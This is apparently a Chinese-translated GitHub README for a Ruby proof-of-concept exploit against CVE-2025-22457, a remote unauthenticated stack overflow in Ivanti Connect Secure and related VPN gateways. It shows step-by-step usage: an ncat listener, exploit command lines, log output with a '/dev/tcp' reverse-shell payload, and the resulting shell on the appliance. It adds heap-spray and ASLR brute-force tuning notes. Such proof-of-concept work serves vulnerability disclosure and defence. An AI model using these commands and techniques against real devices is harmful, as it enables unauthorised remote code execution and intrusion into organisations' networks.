sfewer-r7/CVE-2025-22457

GitHub: sfewer-r7/CVE-2025-22457

针对 Ivanti Connect Secure 等多种 VPN 网关产品的远程未授权栈溢出漏洞(CVE-2025-22457)概念验证工具,可实现无需认证的远程代码执行。

Stars: 71 | Forks: 16

# CVE-2025-22457 概念验证 _一种影响 Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure 和 ZTA Gateways 的远程未经身份验证的栈缓冲区溢出漏洞_ ## 概述 这是一个用于演示 CVE-2025-22457 漏洞利用的概念验证 exploit。有关该漏洞和利用策略的完整技术分析,请参阅此处的 Rapid7 分析: ## 使用方法 我们可以针对易受攻击的 Ivanti Connect Secure 目标(版本 22.7r2.4)运行此脚本,如下所示: 启动一个 netcat 监听器以捕获 reverse shell。 ``` C:\>ncat -lnvkp 8080 ``` 运行 exploit 并暴力破解 ASLR(这会很慢)。 ``` C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 [2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/ [2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1 [2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597 [2025-04-10 16:21:13 +0100] [+] Starting... [2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000 [2025-04-10 16:21:13 +0100] Making connections... [2025-04-10 16:21:18 +0100] Spraying... [2025-04-10 16:22:27 +0100] Triggering.. ``` 成功后,你将获得一个 reverse shell。 ``` C:\>ncat -lnvkp 8080 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::8080 Ncat: Listening on 0.0.0.0:8080 Ncat: Connection from 192.168.86.111. Ncat: Connection from 192.168.86.111:20746. bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell bash-4.2$ id id uid=104(nr) gid=104(nr) groups=104(nr) bash-4.2$ uname -a uname -a Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux bash-4.2$ ``` ## 调试 ### Web 子进程 根据底层硬件的不同,目标设备可用的 CPU 数量将决定 `/home/bin/web` 二进制文件生成的子进程数量。由于所有传入的 HTTPS 请求将均匀分配给这些子进程,我们需要考虑到这一点,并为所有子进程执行足够次数的 heap spray。我们需要这样做是因为当我们触发漏洞时,我们无法知道会在哪个子进程中触发它。因此,我们需要 heap spray 存在于每个子进程中。 * 1 vCPU - 1 个 web 进程,无子进程 * 2 vCPU - 1 个 web 父进程,2 个子进程 * 4 vCPU - 1 个 web 父进程,4 个子进程(这是默认设置,对应于 Ivanti Connect Secure ISA4000-V 平台) * 8 vCPU - 1 个 web 父进程,8 个子进程(这对应于 Ivanti Connect Secure ISA6000-V 平台) 例如,在一个已获取 root 权限的易受攻击设备中,运行以下命令以查看 `/home/bin/web` 子进程的数量: ``` bash-4.2# ps -Al | grep web ps -Al | grep web 4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web 4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80 1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web 1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web 1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web 1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web bash-4.2# ``` 你可以通过 `--web_children` 参数指定预期的 web 子进程数量,例如: ``` C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 ``` ### libdsplibs 基地址 如果你在本地系统上测试 PoC,你可能希望避免暴力破解 `libdsplibs` 基地址。在这种情况下,你可以通过 `--libdsplibs` 参数将已知的基地址传递给 PoC。例如,在一个已获取 root 权限的易受攻击设备中,运行以下命令: ``` bash-4.2# ps -A| grep web ps -A| grep web 3200 ? 00:00:01 web80 20536 ? 00:00:02 web bash-4.2# cat /proc/20536/maps | grep libdsplibs cat /proc/20536/maps | grep libdsplibs f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so bash-4.2# ``` 然后,你可以将已知的基地址传递给 PoC,如下所示: ``` C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000 [2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/ [2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1 [2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597 [2025-04-10 16:21:13 +0100] [+] Starting... [2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000 [2025-04-10 16:21:13 +0100] Making connections... [2025-04-10 16:21:18 +0100] Spraying... [2025-04-10 16:22:27 +0100] Triggering... ```
标签:ASLR 绕过, AttackerKB, CISA项目, Connect Secure, CVE-2025-22457, Ivanti, Maven, Ncat, PoC, Policy Secure, Pulse Secure, Rapid7, Ruby, VPN 漏洞, Web报告查看器, ZTA Gateway, 内存破坏, 反向Shell, 应用安全, 暴力破解, 未授权访问, 栈溢出, 漏洞验证, 知识库, 缓冲区溢出, 编程工具, 网络安全, 远程代码执行, 隐私保护, 零信任网关, 高危漏洞